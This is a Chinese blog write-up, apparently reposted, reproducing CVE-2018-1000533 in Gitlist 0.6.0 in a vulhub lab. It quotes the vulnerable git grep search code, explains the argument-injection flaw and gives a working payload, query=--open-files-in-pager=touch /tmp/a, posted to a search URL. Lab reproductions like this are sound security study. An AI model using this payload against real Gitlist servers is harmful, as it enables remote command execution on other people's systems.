vulhub漏洞复现-Gitlist 0.6.0(cve-2018-1000533)远程命令执行漏洞

Gitlist

gitlist是一款使用PHP开发的图形化git仓库查看工具。
在这里插入图片描述

思路

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

public function searchTree($query, $branch)
{
    
    
    if (empty($query)) {
    
    
        return null;
    }

    $query = escapeshellarg($query);

    try {
    
    
        $results = $this->getClient()->run($this, "grep -i --line-number {
      
      $query} $branch");
    } catch (\RuntimeException $e) {
    
    
        return false;
    }

其中,$query是搜索的关键字,$branch是搜索的分支,知道grep函数的应该就能看懂,从分支里面搜索关键字。

为什么会出现这个漏洞,首先这里经过escapeshellarg处理后就会变成能正常执行的shell参数,如果用户输入的$query = --open-files-in-pager=id;是作为-e的参数去执行,那就是正常的,也就是说这只是一个字符串,一个附带的参数值,就像这样

git grep -i --line-number -e '--open-files-in-pager=id;' master

--open-files-in-pager=id;如果直接作为grep的参数,那就可以执行<id>命令

git grep -i --line-number  --open-files-in-pager=id;  master

对于两个参数的解释看手册git-grep(1) Manual Page

漏洞复现

这里我们改成POST包,访问/example/tree/a/search,其中example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"中的$branch,但因为我们的$query被当成了一个参数,所以$branch就应该被当做搜索的关键字,关键字如下。
在这里插入图片描述
抓包添加POST参数

query=--open-files-in-pager=touch /tmp/a

在这里插入图片描述

进入后台查看,执行成功
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_54648419/article/details/120875311